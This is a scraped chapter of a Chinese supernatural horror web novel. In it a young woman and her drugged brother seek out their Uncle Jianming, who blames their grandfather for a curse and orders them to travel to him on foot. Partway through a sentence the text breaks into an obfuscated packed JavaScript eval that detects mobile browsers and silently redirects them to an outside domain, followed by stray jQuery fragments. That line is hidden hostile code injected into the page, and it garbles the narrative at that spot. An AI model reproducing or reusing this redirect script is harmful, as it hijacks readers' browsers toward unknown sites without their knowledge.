16. 建明叔

作品:《我,诡故事中的无根女儿

    于是在恍惚中我、弟弟、侄子、郭姨、俩个贩子一起出现在了警察局。


    当然珊珊而来躲躲藏藏一看就有问题的买家,也被郭姨两三步一跃在楼梯间超绝爆头,一起到了局子里喝茶。


    警察局里郭姨俨然一副熟人架势。


    “郭姨,您真是,都这把年纪了还操这个心。”


    接待的值班民警显然有些无奈,但还是十分重视。


    熟练的将相关信息登记到位,然后开始初期排查,不难看出她对郭姨也是极为了解。


    整个警局瞬间忙碌了起来。


    而我和刚苏醒的弟弟作为最为直接的受害者,也受到了充分的优待。


    甚至还专门有位警员出门为我们买了盒饭,里面还有肉。很长时间都没有进食的我们自是一顿狼吞虎咽,


    吃饱喝足我们又进去做了笔录,了解到我们是投奔亲戚来的,还被民警们口头教育了一番。


    郭姨真的是个热心肠,后面专门找了小区的物业。


    几经辗转终于从一位房东那里疑似打听到了建明叔的具体住处。


    在小区的五号楼二单元五楼502室,我们前面所打听到的都是错的。


    明显的,建明叔,一个普通的男性,小区中符合这样特点的外来租户实在是太多了。


    再加上我们也给不出什么具体的细节,于是大叔大妈们便都只能说出他们所见到过的男性租户。


    从电话里听到到房东早就去了别的省市退休养老,对建明叔了解并不多了。


    甚至物业还还告诉我们建明叔已经半年没有交物业费了,让我们见到后记得催一催。


    欠费?建明叔真的靠谱吗?我心中已是满团疑惑,但并没有说出口。


    郭姨从头跟到尾,见我们打算连夜上门,为了防止再遇到什么意外,她决定陪着我们一起去看看。


    夜晚的小区显得格外阴森,也许是绿化的面积实在是过于多了,白天还算凉爽的公共空间变得格外冰凉。


    这个时间已经是半夜,小区里没什么人,除了零星的几户人家窗口还亮着昏黄的灯光,剩下的都是漆黑一片。


    五号楼很好找,就在小区入口附近,楼道里的灯全都坏了,我们只能摸黑上楼。


    期间弟弟还被不知谁放在楼梯间的垃圾绊了一跤,还好我眼疾手快扶,才不至于让他狠狠跌上一跤。


    前面带路的郭姨见状,也是毫不客气的狠狠咒骂。


    “他哔哔——的老娘早就告诉物业了要么把楼梯的灯修一修,要么让住户不要乱放垃圾,本来小区的老年人就多,


    这黑灯瞎火的以后谁敢随便出门,这坎上一跤再摔坏了怎么办,他哔——哔——老娘哔——哔——”


    我由衷的感觉到了郭姨的素质。


    在夜深人静骂人也是小小声的,丝毫没有扰人清梦的意思。


    很快来到五楼502室。


    虽然楼道过于昏暗,但也不看出门上乱七八糟的贴着几张白纸,是物业的催费单。


    我心里不由自主的咯噔了一下。


    果然后面发生的情况使我的猜测得到了验证。


    建明叔真的不在里面。


    被我们敲门声吵醒的邻居表示几个月前建明叔就出门了,具体去了哪里他也不清楚,让我们还是想办法先和建明叔取得联系。


    于是怀着失望我和弟弟在外面找了间宾馆,歇歇脚。


    郭姨本来让我们直接住她家,但实在有些不好意思,在郑重感谢后,交换了联系方式。


    依旧是前后都不靠的私人宾馆,依旧是昏黄的灯光。


    我坐在房间内唯一的椅子上,弟弟则倚着双人床靠背,他身体本就没有我强壮,又被下过迷药一时半会也没有恢复。


    沉默在我们之间弥散。


    不是没想过房东那里打听建明叔的联系方式。


    但房东却表示,建明叔只租了三年,后来房东着急出手便主动联系把房子直接卖给了建明叔。


    履行好手续后,两人就再没有过联系,至于以前的留的电话打过去也只是空号……


    “姐,现在怎么办?”沉默许久后弟弟忍不住发问,现在能和他商量的也只有我。


    我们都默契的没有提老家的家长们,母亲一向拿不主意。


    而对于外面的困难,父亲和爷爷,他们除了着急、训斥也给不出什么解决方法。


    “睡觉吧。”思考了一会我回答道。


    我心中也已经打定主意,建明叔已经买下了这里的房子,那么早晚有一天他会回来的。


    实在不行就让郭姨帮忙照看着,我们先回去,看王婆子那边还有没有什么办法。


    而弟弟,见我的样子,也没有多问。


    听我这么说,就直接照搬,即使在床上不断的辗转反复也始终紧闭着眼,假装他真的在睡觉。


    但还好情况并没有想象的糟糕。


    第二天正当我们准备去车站时,郭姨来了电话,说她托了附近邮局的亲戚查了查,找到了相关信件的来往记录。


    里面刚好有疑似建明叔的新号码。


    我和弟弟都兴奋了起来,对郭姨是连声说谢。


    找了个安静的小巷,怀着忐忑的心拨通了号码。


    “喂?”电话那头男声传来,没有烟嗓也没有痰音,只是最普通不过的声音。


    “建,建明叔,我,我是二妮,”也许是号码来的太不容易,我突然变得很紧张。


    可是建明叔却好像对我很熟悉。


    “哦,是二妮呀,你最近怎么样……”


    简单的寒暄了一番,我将弟弟身上发生的事情全部和盘托出。


    而在听了我的叙述后,刚才还算健谈的建明叔突然没了言语……


    “建明叔?怎么了?”不知为何,在这阵沉默之中我感受到电话那头传来深深的——


    我不知道怎么形容。


    既不是无奈那也不是没法子,而是极致的不想管的厌烦。


    “建明叔,建明叔!”我赶紧叫对方的称呼。


    企图唤起他和的我唯一的联系——血缘。


    建明叔终于说话了,“我就知道,李建德(爷爷)既然做出了那样的事,什么报应都是有可能发生的!”


    建明叔对弟弟身上的状况似乎早有意料。


    “那老头子是个不信邪的,以为过了一关就没事了,既然都是报应了,哪有那么简单?真是可笑!”


    建明叔的语气中满是讽刺,就像在评价一件毫无关系的事。


    “爷爷他已经知道错了,所以才让我赶快来找您,我们真的已经竭尽全力了……”


    看建明叔的态度不对劲,我虽不知道发生了什么,但还是赶忙替爷爷圆话。


    只希望建明叔能看在亲戚的份上帮帮忙,不要真的撒手不管。


    “好——了,”也许是被我的祈求打动,建明叔终于没有那么冷漠,正面回应道。


    “二妮别给你那爷爷圆了,我还不了解他,他是见了棺材都不落泪的人,怎么可能真的认错?!”


    这个是真正的建明叔,爷爷就是这种打


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484339|185666||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    死也不认错的性格,身为后辈我们再清楚不过。


    “算了,本来就是李建德那老东西的问题,和二妮你又有什么关系,给他到什么歉,你来找我……”


    后面建明叔的语气都很和蔼,完全不是爷爷口中的鼻孔看人,居高临下的样子。


    相反他说的很是细致,还把路上要注意的事项全部都安顿的很清楚。


    就怕我们再遇到什么意外。


    十分钟后,我们终于结束了通话,弟弟的小本上也早就记得密密麻麻。


    按照建明叔的要求,这一路上我们不能搭乘任何交通工具,必须徒步到他那里。


    用建明叔的话说,那东西能附身到我们身边的人身上。


    只看当时那个人的精神是否足够强健,如果不够就很容易被控制。


    所以在整个行进的过程中我们不能过多的和他人接触。


    吃喝方面,建明叔说正常饮食都是可以的,当然要减少和老板以及食客的接触。


    住宿方面,不要住到任何有屋顶的地方。


    晚上只要找到有靠背的地方就行,两个人都要紧紧的把后背覆盖住,然后轮流休息。


    在此过程中不论看见什么都当没有看见,也不要离开原地。


    按照我们每天走六到八小时计算,大约要两天才能到建明叔所在的山区边缘。


    打定主意,我们一路朝东去,虽然并不知道具体的路,但建明叔说就先朝这一个方向走。


    途中不要问路,不管遇见什么只要想办法绕过过去就可以。


    到了山脚就给他打电话。


    弟弟走在前面,而我则跟在后面,这也是建明叔特意安排的,虽然不知道为什么但我们只能照做。


    一路上都还算顺利,江市是完全平坦的城市,周围除了东处有山,剩下的地方几乎没有什么崎岖地形。


    我们一路走过大街小巷,绕过小区高楼,努力避开人群。


    就连吃饭都找在外支摊的老板,还特意避开其他食客。


    一路警觉。


    就在我脚都走到疼的时候,天也终于黑了。


    周围不算空旷,满足建明叔要求的地方不少。


    我们仔细商议了一番,决定在已经暂停施工的工地围墙边休息。


    虽然不远处就有商铺,但那里依旧有被驱赶的可能。


    这边人能少一些,从围墙内的寂静和满墙脏乱的痕迹,以及上面的灰尘就可以推断出,这里已经停工许久。


    没有任何嫌弃我和弟弟直接席地而坐,紧紧的把自己的后背靠在墙上。


    前半夜我先休息后,半夜轮他来,没有多言语,我赶紧闭上了眼睛。


    本以为会很难入睡,也许是白天实在是太累了,才一合眼就失去了意识……


    *


    砰!砰!砰!——


    好像是什么人在剁东西的声音,仿佛用尽了全身的力气,一声一声的格外清晰。


    我不耐烦的翻了个身。


    砰!砰!砰!砰!——


    声音依旧没有停下,反而更大了,似乎离我也更近了一些。


    “能不能让人好好休息!”我小声叫骂了一句,一骨碌翻身坐起来,迷迷瞪瞪的揉了揉眼。


    扫视了一圈。


    眼前正是熟悉的堂屋,而我也坐在独属于自己的木床上。


    看了眼窗外,一片漆黑,除了月光什么都没有。


    奇怪?按常理来说都这个点儿了,家里人正是熟睡的时候。


    谁没事起来剁骨头啊?!